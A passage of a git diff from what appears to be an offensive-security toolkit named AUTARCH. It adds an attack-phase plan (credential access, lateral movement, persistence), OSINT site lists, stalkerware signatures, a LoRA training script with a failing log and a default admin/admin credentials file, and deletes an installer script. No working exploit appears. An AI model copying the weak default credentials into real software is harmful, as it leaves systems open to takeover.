|
"node_type": "privilege_escalation",
|
||||||
|
"status": "todo",
|
||||||
|
"parent_id": null,
|
||||||
|
"children": [],
|
||||||
|
"details": "Escalating from initial access to higher privileges",
|
||||||
|
"tool_output": null,
|
||||||
|
"findings": [],
|
||||||
|
"priority": 3,
|
||||||
|
"created_at": "2026-01-28T19:22:44.670384",
|
||||||
|
"updated_at": "2026-01-28T19:22:44.670384"
|
||||||
|
},
|
||||||
|
"af036f87": {
|
||||||
|
"id": "af036f87",
|
||||||
|
"label": "Lateral Movement",
|
||||||
|
"node_type": "lateral_movement",
|
||||||
|
"status": "todo",
|
||||||
|
"parent_id": null,
|
||||||
|
"children": [],
|
||||||
|
"details": "Moving to other systems in the network",
|
||||||
|
"tool_output": null,
|
||||||
|
"findings": [],
|
||||||
|
"priority": 4,
|
||||||
|
"created_at": "2026-01-28T19:22:44.670397",
|
||||||
|
"updated_at": "2026-01-28T19:22:44.670397"
|
||||||
|
},
|
||||||
|
"633c0eeb": {
|
||||||
|
"id": "633c0eeb",
|
||||||
|
"label": "Credential Access",
|
||||||
|
"node_type": "credential_access",
|
||||||
|
"status": "todo",
|
||||||
|
"parent_id": null,
|
||||||
|
"children": [],
|
||||||
|
"details": "Obtaining credentials and secrets",
|
||||||
|
"tool_output": null,
|
||||||
|
"findings": [],
|
||||||
|
"priority": 3,
|
||||||
|
"created_at": "2026-01-28T19:22:44.670408",
|
||||||
|
"updated_at": "2026-01-28T19:22:44.670408"
|
||||||
|
},
|
||||||
|
"8584f7fc": {
|
||||||
|
"id": "8584f7fc",
|
||||||
|
"label": "Persistence",
|
||||||
|
"node_type": "persistence",
|
||||||
|
"status": "todo",
|
||||||
|
"parent_id": null,
|
||||||
|
"children": [],
|
||||||
|
"details": "Maintaining access to compromised systems",
|
||||||
|
"tool_output": null,
|
||||||
|
"findings": [],
|
||||||
|
"priority": 5,
|
||||||
|
"created_at": "2026-01-28T19:22:44.670420",
|
||||||
|
"updated_at": "2026-01-28T19:22:44.670420"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"events": [
|
||||||
|
{
|
||||||
|
"timestamp": "2026-01-28T19:22:44.670428",
|
||||||
|
"event_type": "state_change",
|
||||||
|
"data": {
|
||||||
|
"from": "idle",
|
||||||
|
"to": "running"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"findings": [],
|
||||||
|
"pipeline_history": []
|
||||||
|
}
|
||||||
10185
data/sites/blackbird.json
Normal file
10185
data/sites/blackbird.json
Normal file
File diff suppressed because it is too large
Load Diff
1897
data/sites/cupidcr4wl.json
Normal file
1897
data/sites/cupidcr4wl.json
Normal file
File diff suppressed because it is too large
Load Diff
9793
data/sites/detectdee.json
Normal file
9793
data/sites/detectdee.json
Normal file
File diff suppressed because it is too large
Load Diff
76365
data/sites/dh.json
Normal file
76365
data/sites/dh.json
Normal file
File diff suppressed because it is too large
Load Diff
35922
data/sites/maigret.json
Normal file
35922
data/sites/maigret.json
Normal file
File diff suppressed because it is too large
Load Diff
1696
data/sites/nexfil.json
Normal file
1696
data/sites/nexfil.json
Normal file
File diff suppressed because it is too large
Load Diff
7076
data/sites/reveal_my_name.json
Normal file
7076
data/sites/reveal_my_name.json
Normal file
File diff suppressed because it is too large
Load Diff
3251
data/sites/sherlock.json
Normal file
3251
data/sites/sherlock.json
Normal file
File diff suppressed because it is too large
Load Diff
63308
data/sites/snoop.json
Normal file
63308
data/sites/snoop.json
Normal file
File diff suppressed because it is too large
Load Diff
22760
data/sites/social_analyzer.json
Normal file
22760
data/sites/social_analyzer.json
Normal file
File diff suppressed because it is too large
Load Diff
63748
data/sites/test.json
Normal file
63748
data/sites/test.json
Normal file
File diff suppressed because it is too large
Load Diff
10172
data/sites/whatsmyname.json
Normal file
10172
data/sites/whatsmyname.json
Normal file
File diff suppressed because it is too large
Load Diff
1144
data/stalkerware_signatures.json
Normal file
1144
data/stalkerware_signatures.json
Normal file
File diff suppressed because it is too large
Load Diff
3238
data/tracker_domains.json
Normal file
3238
data/tracker_domains.json
Normal file
File diff suppressed because it is too large
Load Diff
1087
data/training/autarch_dataset_20260302_202634.jsonl
Normal file
1087
data/training/autarch_dataset_20260302_202634.jsonl
Normal file
File diff suppressed because it is too large
Load Diff
97
data/training/train_lora.py
Normal file
97
data/training/train_lora.py
Normal file
@ -0,0 +1,97 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""AUTARCH LoRA Training Script (Transformers + PEFT)"""
|
||||||
|
import json
|
||||||
|
import torch
|
||||||
|
from datasets import Dataset
|
||||||
|
from transformers import (
|
||||||
|
AutoModelForCausalLM, AutoTokenizer, TrainingArguments,
|
||||||
|
BitsAndBytesConfig,
|
||||||
|
)
|
||||||
|
from peft import LoraConfig, get_peft_model, prepare_model_for_kbit_training
|
||||||
|
from trl import SFTTrainer
|
||||||
|
|
||||||
|
# Quantization config
|
||||||
|
bnb_config = BitsAndBytesConfig(
|
||||||
|
load_in_4bit=True,
|
||||||
|
bnb_4bit_quant_type="nf4",
|
||||||
|
bnb_4bit_compute_dtype=torch.float16,
|
||||||
|
bnb_4bit_use_double_quant=True,
|
||||||
|
) if True else None
|
||||||
|
|
||||||
|
print("Loading base model: models/Hal_v2.gguf")
|
||||||
|
model = AutoModelForCausalLM.from_pretrained(
|
||||||
|
"models/Hal_v2.gguf",
|
||||||
|
quantization_config=bnb_config,
|
||||||
|
device_map="auto",
|
||||||
|
trust_remote_code=False,
|
||||||
|
)
|
||||||
|
tokenizer = AutoTokenizer.from_pretrained("models/Hal_v2.gguf", trust_remote_code=False)
|
||||||
|
if tokenizer.pad_token is None:
|
||||||
|
tokenizer.pad_token = tokenizer.eos_token
|
||||||
|
|
||||||
|
if True:
|
||||||
|
model = prepare_model_for_kbit_training(model)
|
||||||
|
|
||||||
|
# LoRA config
|
||||||
|
lora_config = LoraConfig(
|
||||||
|
r=16,
|
||||||
|
lora_alpha=32,
|
||||||
|
lora_dropout=0.05,
|
||||||
|
target_modules=["q_proj", "k_proj", "v_proj", "o_proj",
|
||||||
|
"gate_proj", "up_proj", "down_proj"],
|
||||||
|
bias="none",
|
||||||
|
task_type="CAUSAL_LM",
|
||||||
|
)
|
||||||
|
model = get_peft_model(model, lora_config)
|
||||||
|
model.print_trainable_parameters()
|
||||||
|
|
||||||
|
# Load dataset
|
||||||
|
samples = []
|
||||||
|
with open("C:\she\autarch\data\training\autarch_dataset_20260302_202634.jsonl", "r") as f:
|
||||||
|
for line in f:
|
||||||
|
samples.append(json.loads(line))
|
||||||
|
|
||||||
|
def format_sample(sample):
|
||||||
|
if "conversations" in sample:
|
||||||
|
msgs = sample["conversations"]
|
||||||
|
text = ""
|
||||||
|
for msg in msgs:
|
||||||
|
role = "user" if msg["from"] == "human" else "assistant"
|
||||||
|
text += f"<|im_start|>{role}\n{msg['value']}<|im_end|>\n"
|
||||||
|
return {"text": text}
|
||||||
|
else:
|
||||||
|
return {"text": f"<|im_start|>user\n{sample['instruction']}\n{sample.get('input','')}<|im_end|>\n<|im_start|>assistant\n{sample['output']}<|im_end|>\n"}
|
||||||
|
|
||||||
|
dataset = Dataset.from_list([format_sample(s) for s in samples])
|
||||||
|
print(f"Dataset: {len(dataset)} samples")
|
||||||
|
|
||||||
|
# Train
|
||||||
|
trainer = SFTTrainer(
|
||||||
|
model=model,
|
||||||
|
tokenizer=tokenizer,
|
||||||
|
train_dataset=dataset,
|
||||||
|
dataset_text_field="text",
|
||||||
|
max_seq_length=2048,
|
||||||
|
args=TrainingArguments(
|
||||||
|
output_dir="C:\she\autarch\data\training\output",
|
||||||
|
num_train_epochs=3,
|
||||||
|
per_device_train_batch_size=4,
|
||||||
|
gradient_accumulation_steps=4,
|
||||||
|
learning_rate=0.0002,
|
||||||
|
warmup_ratio=0.03,
|
||||||
|
save_steps=50,
|
||||||
|
logging_steps=10,
|
||||||
|
fp16=True,
|
||||||
|
optim="adamw_8bit",
|
||||||
|
report_to="none",
|
||||||
|
),
|
||||||
|
)
|
||||||
|
|
||||||
|
print("Starting training...")
|
||||||
|
trainer.train()
|
||||||
|
print("Training complete!")
|
||||||
|
|
||||||
|
# Save
|
||||||
|
model.save_pretrained("C:\she\autarch\data\training\output/lora_adapter")
|
||||||
|
tokenizer.save_pretrained("C:\she\autarch\data\training\output/lora_adapter")
|
||||||
|
print(f"LoRA adapter saved to C:\she\autarch\data\training\output/lora_adapter")
|
||||||
14
data/training/training.log
Normal file
14
data/training/training.log
Normal file
@ -0,0 +1,14 @@
|
|||||||
|
C:\she\autarch\data\training\train_lora.py:50: SyntaxWarning: invalid escape sequence '\s'
|
||||||
|
with open("C:\she\autarch\data\training\autarch_dataset_20260302_202634.jsonl", "r") as f:
|
||||||
|
C:\she\autarch\data\training\train_lora.py:76: SyntaxWarning: invalid escape sequence '\s'
|
||||||
|
output_dir="C:\she\autarch\data\training\output",
|
||||||
|
C:\she\autarch\data\training\train_lora.py:95: SyntaxWarning: invalid escape sequence '\s'
|
||||||
|
model.save_pretrained("C:\she\autarch\data\training\output/lora_adapter")
|
||||||
|
C:\she\autarch\data\training\train_lora.py:96: SyntaxWarning: invalid escape sequence '\s'
|
||||||
|
tokenizer.save_pretrained("C:\she\autarch\data\training\output/lora_adapter")
|
||||||
|
C:\she\autarch\data\training\train_lora.py:97: SyntaxWarning: invalid escape sequence '\s'
|
||||||
|
print(f"LoRA adapter saved to C:\she\autarch\data\training\output/lora_adapter")
|
||||||
|
Traceback (most recent call last):
|
||||||
|
File "C:\she\autarch\data\training\train_lora.py", line 5, in <module>
|
||||||
|
from datasets import Dataset
|
||||||
|
ModuleNotFoundError: No module named 'datasets'
|
||||||
5
data/web_credentials.json
Normal file
5
data/web_credentials.json
Normal file
@ -0,0 +1,5 @@
|
|||||||
|
{
|
||||||
|
"username": "admin",
|
||||||
|
"password": "admin",
|
||||||
|
"force_change": true
|
||||||
|
}
|
||||||
586
docs/install.sh
586
docs/install.sh
@ -1,586 +0,0 @@
|
|||||||
#!/bin/bash
|
|
||||||
# ╔══════════════════════════════════════════════════════════════════╗
|
|
||||||
# ║ AUTARCH Installer ║
|
|
||||||
# ║ Autonomous Tactical Agent for Reconnaissance, ║
|
|
||||||
# ║ Counterintelligence, and Hacking ║
|
|
||||||
# ║ By darkHal Security Group & Setec Security Labs ║
|
|
||||||
# ╚══════════════════════════════════════════════════════════════════╝
|
|
||||||
|
|
||||||
set -e
|
|
||||||
|
|
||||||
# ── Colors & Symbols ─────────────────────────────────────────────────
|
|
||||||
R='\033[91m'; G='\033[92m'; Y='\033[93m'; B='\033[94m'; M='\033[95m'
|
|
||||||
C='\033[96m'; W='\033[97m'; D='\033[2m'; BLD='\033[1m'; RST='\033[0m'
|
|
||||||
CHK="${G}✔${RST}"; CROSS="${R}✘${RST}"; DOT="${C}●${RST}"; ARROW="${M}▸${RST}"
|
|
||||||
WARN="${Y}⚠${RST}"
|
|
||||||
|
|
||||||
# ── Paths ────────────────────────────────────────────────────────────
|
|
||||||
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
|
|
||||||
VENV_DIR="$SCRIPT_DIR/venv"
|
|
||||||
REQ_FILE="$SCRIPT_DIR/requirements.txt"
|
|
||||||
|
|
||||||
# ── State ────────────────────────────────────────────────────────────
|
|
||||||
INSTALL_LLM_LOCAL=false
|
|
||||||
INSTALL_LLM_CLOUD=false
|
|
||||||
INSTALL_LLM_HF=false
|
|
||||||
INSTALL_SYSTEM_TOOLS=false
|
|
||||||
INSTALL_NODE_HW=false
|
|
||||||
GPU_TYPE="none"
|
|
||||||
TOTAL_STEPS=0
|
|
||||||
CURRENT_STEP=0
|
|
||||||
|
|
||||||
# ── Helper Functions ─────────────────────────────────────────────────
|
|
||||||
|
|
||||||
clear_screen() { printf '\033[2J\033[H'; }
|
|
||||||
|
|
||||||
# Draw a horizontal rule
|
|
||||||
hr() {
|
|
||||||
local char="${1:-─}"
|
|
||||||
printf "${D}"
|
|
||||||
printf '%*s' 66 '' | tr ' ' "$char"
|
|
||||||
printf "${RST}\n"
|
|
||||||
}
|
|
||||||
|
|
||||||
# Print a styled header
|
|
||||||
header() {
|
|
||||||
printf "\n${BLD}${C} $1${RST}\n"
|
|
||||||
hr
|
|
||||||
}
|
|
||||||
|
|
||||||
# Print a status line
|
|
||||||
status() { printf " ${DOT} $1\n"; }
|
|
||||||
ok() { printf " ${CHK} $1\n"; }
|
|
||||||
fail() { printf " ${CROSS} $1\n"; }
|
|
||||||
warn() { printf " ${WARN} $1\n"; }
|
|
||||||
info() { printf " ${ARROW} $1\n"; }
|
|
||||||
|
|
||||||
# Progress bar
|
|
||||||
progress_bar() {
|
|
||||||
local pct=$1
|
|
||||||
local width=40
|
|
||||||
local filled=$(( pct * width / 100 ))
|
|
||||||
local empty=$(( width - filled ))
|
|
||||||
printf "\r ${D}[${RST}${G}"
|
|
||||||
printf '%*s' "$filled" '' | tr ' ' '█'
|
|
||||||
printf "${D}"
|
|
||||||
printf '%*s' "$empty" '' | tr ' ' '░'
|
|
||||||
printf "${RST}${D}]${RST} ${W}%3d%%${RST}" "$pct"
|
|
||||||
}
|
|
||||||
|
|
||||||
step_progress() {
|
|
||||||
CURRENT_STEP=$((CURRENT_STEP + 1))
|
|
||||||
local pct=$((CURRENT_STEP * 100 / TOTAL_STEPS))
|
|
||||||
progress_bar "$pct"
|
|
||||||
printf " ${D}$1${RST}\n"
|
|
||||||
}
|
|
||||||
|
|
||||||
# Detect OS
|
|
||||||
detect_os() {
|
|
||||||
case "$(uname -s)" in
|
|
||||||
Linux*) OS="linux" ;;
|
|
||||||
Darwin*) OS="macos" ;;
|
|
||||||
MINGW*|MSYS*|CYGWIN*) OS="windows" ;;
|
|
||||||
*) OS="unknown" ;;
|
|
||||||
esac
|
|
||||||
}
|
|
||||||
|
|
||||||
# Check if command exists
|
|
||||||
has() { command -v "$1" &>/dev/null; }
|
|
||||||
|
|
||||||
# ── Banner ───────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
show_banner() {
|
|
||||||
clear_screen
|
|
||||||
printf "${R}${BLD}"
|
|
||||||
cat << 'BANNER'
|
|
||||||
|
|
||||||
▄▄▄ █ ██ ▄▄▄█████▓ ▄▄▄ ██▀███ ▄████▄ ██░ ██
|
|
||||||
▒████▄ ██ ▓██▒▓ ██▒ ▓▒▒████▄ ▓██ ▒ ██▒▒██▀ ▀█ ▓██░ ██▒
|
|
||||||
▒██ ▀█▄ ▓██ ▒██░▒ ▓██░ ▒░▒██ ▀█▄ ▓██ ░▄█ ▒▒▓█ ▄ ▒██▀▀██░
|
|
||||||
░██▄▄▄▄██ ▓▓█ ░██░░ ▓██▓ ░ ░██▄▄▄▄██ ▒██▀▀█▄ ▒▓▓▄ ▄██▒░▓█ ░██
|
|
||||||
▓█ ▓██▒▒▒█████▓ ▒██▒ ░ ▓█ ▓██▒░██▓ ▒██▒▒ ▓███▀ ░░▓█▒░██▓
|
|
||||||
▒▒ ▓▒█░░▒▓▒ ▒ ▒ ▒ ░░ ▒▒ ▓▒█░░ ▒▓ ░▒▓░░ ░▒ ▒ ░ ▒ ░░▒░▒
|
|
||||||
▒ ▒▒ ░░░▒░ ░ ░ ░ ▒ ▒▒ ░ ░▒ ░ ▒░ ░ ▒ ▒ ░▒░ ░
|
|
||||||
░ ▒ ░░░ ░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░░ ░
|
|
||||||
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
|
|
||||||
|
|
||||||
BANNER
|
|
||||||
printf "${RST}"
|
|
||||||
printf "${C}${BLD} ╔══════════════════════════════════╗${RST}\n"
|
|
||||||
printf "${C}${BLD} ║ I N S T A L L E R v1.0 ║${RST}\n"
|
|
||||||
printf "${C}${BLD} ╚══════════════════════════════════╝${RST}\n"
|
|
||||||
printf "${D} By darkHal Security Group & Setec Security Labs${RST}\n\n"
|
|
||||||
}
|
|
||||||
|
|
||||||
# ── System Check ─────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
show_system_check() {
|
|
||||||
header "SYSTEM CHECK"
|
|
||||||
|
|
||||||
detect_os
|
|
||||||
case "$OS" in
|
|
||||||
linux) ok "OS: Linux ($(. /etc/os-release 2>/dev/null && echo "$PRETTY_NAME" || uname -r))" ;;
|
|
||||||
macos) ok "OS: macOS $(sw_vers -productVersion 2>/dev/null)" ;;
|
|
||||||
windows) ok "OS: Windows (MSYS2/Git Bash)" ;;
|
|
||||||
*) warn "OS: Unknown ($(uname -s))" ;;
|
|
||||||
esac
|
|
||||||
|
|
||||||
# Python
|
|
||||||
if has python3; then
|
|
||||||
local pyver=$(python3 --version 2>&1 | awk '{print $2}')
|
|
||||||
local pymajor=$(echo "$pyver" | cut -d. -f1)
|
|
||||||
local pyminor=$(echo "$pyver" | cut -d. -f2)
|
|
||||||
if [ "$pymajor" -ge 3 ] && [ "$pyminor" -ge 10 ]; then
|
|
||||||
ok "Python $pyver"
|
|
||||||
else
|
|
||||||
warn "Python $pyver ${D}(3.10+ recommended)${RST}"
|
|
||||||
fi
|
|
||||||
elif has python; then
|
|
||||||
local pyver=$(python --version 2>&1 | awk '{print $2}')
|
|
||||||
ok "Python $pyver ${D}(using 'python' command)${RST}"
|
|
||||||
else
|
|
||||||
fail "Python not found — install Python 3.10+"
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
|
|
||||||
# pip
|
|
||||||
if has pip3 || has pip; then
|
|
||||||
ok "pip available"
|
|
||||||
else
|
|
||||||
fail "pip not found"
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Git
|
|
||||||
if has git; then
|
|
||||||
ok "Git $(git --version | awk '{print $3}')"
|
|
||||||
else
|
|
||||||
warn "Git not found ${D}(optional)${RST}"
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Node/npm
|
|
||||||
if has node && has npm; then
|
|
||||||
ok "Node $(node --version) / npm $(npm --version 2>/dev/null)"
|
|
||||||
else
|
|
||||||
warn "Node.js not found ${D}(needed for hardware WebUSB libs)${RST}"
|
|
||||||
fi
|
|
||||||
|
|
||||||
# System tools
|
|
||||||
local tools=("nmap" "tshark" "openssl" "adb" "fastboot" "wg" "upnpc")
|
|
||||||
local found=()
|
|
||||||
local missing=()
|
|
||||||
for t in "${tools[@]}"; do
|
|
||||||
if has "$t"; then
|
|
||||||
found+=("$t")
|
|
||||||
else
|
|
||||||
missing+=("$t")
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
if [ ${#found[@]} -gt 0 ]; then
|
|
||||||
ok "System tools: ${G}${found[*]}${RST}"
|
|
||||||
fi
|
|
||||||
if [ ${#missing[@]} -gt 0 ]; then
|
|
||||||
info "Not found: ${D}${missing[*]}${RST} ${D}(optional)${RST}"
|
|
||||||
fi
|
|
||||||
|
|
||||||
# GPU detection
|
|
||||||
if has nvidia-smi; then
|
|
||||||
local gpu_name=$(nvidia-smi --query-gpu=name --format=csv,noheader 2>/dev/null | head -1)
|
|
||||||
ok "GPU: ${G}$gpu_name${RST} (CUDA)"
|
|
||||||
GPU_TYPE="cuda"
|
|
||||||
elif has rocm-smi; then
|
|
||||||
ok "GPU: AMD ROCm detected"
|
|
||||||
GPU_TYPE="rocm"
|
|
||||||
elif [ -d "/opt/intel" ] || has xpu-smi; then
|
|
||||||
ok "GPU: Intel XPU detected"
|
|
||||||
GPU_TYPE="intel"
|
|
||||||
elif [ "$OS" = "macos" ]; then
|
|
||||||
ok "GPU: Apple Metal (auto via llama-cpp)"
|
|
||||||
GPU_TYPE="metal"
|
|
||||||
else
|
|
||||||
info "No GPU detected ${D}(CPU-only mode)${RST}"
|
|
||||||
fi
|
|
||||||
echo
|
|
||||||
}
|
|
||||||
|
|
||||||
# ── Interactive Menu ─────────────────────────────────────────────────
|
|
||||||
|
|
||||||
show_menu() {
|
|
||||||
header "INSTALL OPTIONS"
|
|
||||||
echo
|
|
||||||
printf " ${BLD}${W}What would you like to install?${RST}\n\n"
|
|
||||||
|
|
||||||
printf " ${BLD}${C}[1]${RST} ${W}Core only${RST} ${D}Flask, OSINT, networking, analysis${RST}\n"
|
|
||||||
printf " ${BLD}${C}[2]${RST} ${W}Core + Local LLM${RST} ${D}+ llama-cpp-python (GGUF models)${RST}\n"
|
|
||||||
printf " ${BLD}${C}[3]${RST} ${W}Core + Cloud LLM${RST} ${D}+ anthropic SDK (Claude API)${RST}\n"
|
|
||||||
printf " ${BLD}${C}[4]${RST} ${W}Core + HuggingFace${RST} ${D}+ transformers, torch, accelerate${RST}\n"
|
|
||||||
printf " ${BLD}${C}[5]${RST} ${W}Full install${RST} ${D}All of the above${RST}\n"
|
|
||||||
echo
|
|
||||||
printf " ${BLD}${Y}[S]${RST} ${W}System tools${RST} ${D}nmap, tshark, openssl, adb (Linux only)${RST}\n"
|
|
||||||
printf " ${BLD}${Y}[H]${RST} ${W}Hardware libs${RST} ${D}Build WebUSB/Serial JS bundles (needs npm)${RST}\n"
|
|
||||||
echo
|
|
||||||
printf " ${BLD}${R}[Q]${RST} ${W}Quit${RST}\n"
|
|
||||||
echo
|
|
||||||
hr
|
|
||||||
printf " ${BLD}Choice: ${RST}"
|
|
||||||
read -r choice
|
|
||||||
|
|
||||||
case "$choice" in
|
|
||||||
1) ;;
|
|
||||||
2) INSTALL_LLM_LOCAL=true ;;
|
|
||||||
3) INSTALL_LLM_CLOUD=true ;;
|
|
||||||
4) INSTALL_LLM_HF=true ;;
|
|
||||||
5) INSTALL_LLM_LOCAL=true; INSTALL_LLM_CLOUD=true; INSTALL_LLM_HF=true ;;
|
|
||||||
s|S) INSTALL_SYSTEM_TOOLS=true ;;
|
|
||||||
h|H) INSTALL_NODE_HW=true ;;
|
|
||||||
q|Q) printf "\n ${D}Bye.${RST}\n\n"; exit 0 ;;
|
|
||||||
*) warn "Invalid choice"; show_menu; return ;;
|
|
||||||
esac
|
|
||||||
|
|
||||||
# Extras prompt (only for options 1-5)
|
|
||||||
if [[ "$choice" =~ ^[1-5]$ ]]; then
|
|
||||||
echo
|
|
||||||
printf " ${D}Also install system tools? (nmap, tshark, etc.) [y/N]:${RST} "
|
|
||||||
read -r yn
|
|
||||||
[[ "$yn" =~ ^[Yy] ]] && INSTALL_SYSTEM_TOOLS=true
|
|
||||||
|
|
||||||
printf " ${D}Also build hardware JS bundles? (needs npm) [y/N]:${RST} "
|
|
||||||
read -r yn
|
|
||||||
[[ "$yn" =~ ^[Yy] ]] && INSTALL_NODE_HW=true
|
|
||||||
fi
|
|
||||||
}
|
|
||||||
|
|
||||||
# ── Install Functions ────────────────────────────────────────────────
|
|
||||||
|
|
||||||
get_pip() {
|
|
||||||
if has pip3; then echo "pip3"
|
|
||||||
elif has pip; then echo "pip"
|
|
||||||
fi
|
|
||||||
}
|
|
||||||
|
|
||||||
get_python() {
|
|
||||||
if has python3; then echo "python3"
|
|
||||||
elif has python; then echo "python"
|
|
||||||
fi
|
|
||||||
}
|
|
||||||
|
|
||||||
create_venv() {
|
|
||||||
header "VIRTUAL ENVIRONMENT"
|
|
||||||
|
|
||||||
if [ -d "$VENV_DIR" ]; then
|
|
||||||
ok "venv already exists at ${D}$VENV_DIR${RST}"
|
|
||||||
else
|
|
||||||
status "Creating virtual environment..."
|
|
||||||
$(get_python) -m venv "$VENV_DIR"
|
|
||||||
ok "Created venv at ${D}$VENV_DIR${RST}"
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Activate
|
|
||||||
if [ "$OS" = "windows" ]; then
|
|
||||||
source "$VENV_DIR/Scripts/activate" 2>/dev/null || source "$VENV_DIR/bin/activate"
|
|
||||||
else
|
|
||||||
source "$VENV_DIR/bin/activate"
|
|
||||||
fi
|
|
||||||
ok "Activated venv ${D}($(which python))${RST}"
|
|
||||||
echo
|
|
||||||
}
|
|
||||||
|
|
||||||
install_core() {
|
|
||||||
header "CORE DEPENDENCIES"
|
|
||||||
|
|
||||||
step_progress "Upgrading pip..."
|
|
||||||
$(get_python) -m pip install --upgrade pip setuptools wheel -q 2>&1 | tail -1
|
|
||||||
|
|
||||||
step_progress "Installing core packages..."
|
|
||||||
# Install from requirements.txt but skip optional LLM lines
|
|
||||||
# Core packages: flask, bcrypt, requests, msgpack, pyserial, esptool, pyshark, qrcode, Pillow
|
|
||||||
local core_pkgs=(
|
|
||||||
"flask>=3.0"
|
|
||||||
"bcrypt>=4.0"
|
|
||||||
"requests>=2.31"
|
|
||||||
"msgpack>=1.0"
|
|
||||||
"pyserial>=3.5"
|
|
||||||
"esptool>=4.0"
|
|
||||||
"pyshark>=0.6"
|
|
||||||
"qrcode>=7.0"
|
|
||||||
"Pillow>=10.0"
|
|
||||||
)
|
|
||||||
|
|
||||||
for pkg in "${core_pkgs[@]}"; do
|
|
||||||
local name=$(echo "$pkg" | sed 's/[>=<].*//')
|
|
||||||
step_progress "$name"
|
|
||||||
pip install "$pkg" -q 2>&1 | tail -1
|
|
||||||
done
|
|
||||||
|
|
||||||
ok "Core dependencies installed"
|
|
||||||
echo
|
|
||||||
}
|
|
||||||
|
|
||||||
install_llm_local() {
|
|
||||||
header "LOCAL LLM (llama-cpp-python)"
|
|
||||||
|
|
||||||
if [ "$GPU_TYPE" = "cuda" ]; then
|
|
||||||
info "CUDA detected — building with GPU acceleration"
|
|
||||||
step_progress "llama-cpp-python (CUDA)..."
|
|
||||||
CMAKE_ARGS="-DGGML_CUDA=on" pip install llama-cpp-python>=0.3.16 --force-reinstall --no-cache-dir -q 2>&1 | tail -1
|
|
||||||
elif [ "$GPU_TYPE" = "rocm" ]; then
|
|
||||||
info "ROCm detected — building with AMD GPU acceleration"
|
|
||||||
step_progress "llama-cpp-python (ROCm)..."
|
|
||||||
CMAKE_ARGS="-DGGML_HIPBLAS=on" pip install llama-cpp-python>=0.3.16 --force-reinstall --no-cache-dir -q 2>&1 | tail -1
|
|
||||||
elif [ "$GPU_TYPE" = "metal" ]; then
|
|
||||||
info "Apple Metal — auto-enabled in llama-cpp"
|
|
||||||
step_progress "llama-cpp-python (Metal)..."
|
|
||||||
pip install llama-cpp-python>=0.3.16 -q 2>&1 | tail -1
|
|
||||||
else
|
|
||||||
info "CPU-only mode"
|
|
||||||
step_progress "llama-cpp-python (CPU)..."
|
|
||||||
pip install llama-cpp-python>=0.3.16 -q 2>&1 | tail -1
|
|
||||||
fi
|
|
||||||
|
|
||||||
ok "llama-cpp-python installed"
|
|
||||||
echo
|
|
||||||
}
|
|
||||||
|
|
||||||
install_llm_cloud() {
|
|
||||||
header "CLOUD LLM (Anthropic Claude API)"
|
|
||||||
|
|
||||||
step_progress "anthropic SDK..."
|
|
||||||
pip install "anthropic>=0.40" -q 2>&1 | tail -1
|
|
||||||
|
|
||||||
ok "Anthropic SDK installed"
|
|
||||||
info "Set your API key in autarch_settings.conf [claude] section"
|
|
||||||
echo
|
|
||||||
}
|
|
||||||
|
|
||||||
install_llm_hf() {
|
|
||||||
header "HUGGINGFACE (transformers + torch)"
|
|
||||||
|
|
||||||
step_progress "transformers..."
|
|
||||||
pip install "transformers>=4.35" -q 2>&1 | tail -1
|
|
||||||
|
|
||||||
step_progress "accelerate..."
|
|
||||||
pip install "accelerate>=0.25" -q 2>&1 | tail -1
|
|
||||||
|
|
||||||
# PyTorch — pick the right variant
|
|
||||||
step_progress "PyTorch..."
|
|
||||||
if [ "$GPU_TYPE" = "cuda" ]; then
|
|
||||||
info "Installing PyTorch with CUDA support..."
|
|
||||||
pip install torch --index-url https://download.pytorch.org/whl/cu121 -q 2>&1 | tail -1
|
|
||||||
elif [ "$GPU_TYPE" = "rocm" ]; then
|
|
||||||
info "Installing PyTorch with ROCm support..."
|
|
||||||
pip install torch --index-url https://download.pytorch.org/whl/rocm6.0 -q 2>&1 | tail -1
|
|
||||||
elif [ "$GPU_TYPE" = "intel" ]; then
|
|
||||||
info "Installing PyTorch with Intel XPU support..."
|
|
||||||
pip install torch intel-extension-for-pytorch -q 2>&1 | tail -1
|
|
||||||
else
|
|
||||||
pip install torch -q 2>&1 | tail -1
|
|
||||||
fi
|
|
||||||
|
|
||||||
# bitsandbytes (Linux/CUDA only)
|
|
||||||
if [ "$OS" = "linux" ] && [ "$GPU_TYPE" = "cuda" ]; then
|
|
||||||
step_progress "bitsandbytes (quantization)..."
|
|
||||||
pip install "bitsandbytes>=0.41" -q 2>&1 | tail -1
|
|
||||||
else
|
|
||||||
info "Skipping bitsandbytes ${D}(Linux + CUDA only)${RST}"
|
|
||||||
fi
|
|
||||||
|
|
||||||
ok "HuggingFace stack installed"
|
|
||||||
echo
|
|
||||||
}
|
|
||||||
|
|
||||||
install_system_tools() {
|
|
||||||
header "SYSTEM TOOLS"
|
|
||||||
|
|
||||||
if [ "$OS" != "linux" ]; then
|
|
||||||
warn "System tool install is only automated on Linux (apt/dnf/pacman)"
|
|
||||||
info "On $OS, install these manually: nmap, wireshark-cli, openssl, android-tools"
|
|
||||||
echo
|
|
||||||
return
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Detect package manager
|
|
||||||
local PM=""
|
|
||||||
local INSTALL=""
|
|
||||||
if has apt-get; then
|
|
||||||
PM="apt"
|
|
||||||
INSTALL="sudo apt-get install -y"
|
|
||||||
elif has dnf; then
|
|
||||||
PM="dnf"
|
|
||||||
INSTALL="sudo dnf install -y"
|
|
||||||
elif has pacman; then
|
|
||||||
PM="pacman"
|
|
||||||
INSTALL="sudo pacman -S --noconfirm"
|
|
||||||
else
|
|
||||||
warn "No supported package manager found (apt/dnf/pacman)"
|
|
||||||
echo
|
|
||||||
return
|
|
||||||
fi
|
|
||||||
|
|
||||||
ok "Package manager: ${G}$PM${RST}"
|
|
||||||
|
|
||||||
local packages=()
|
|
||||||
|
|
||||||
# nmap
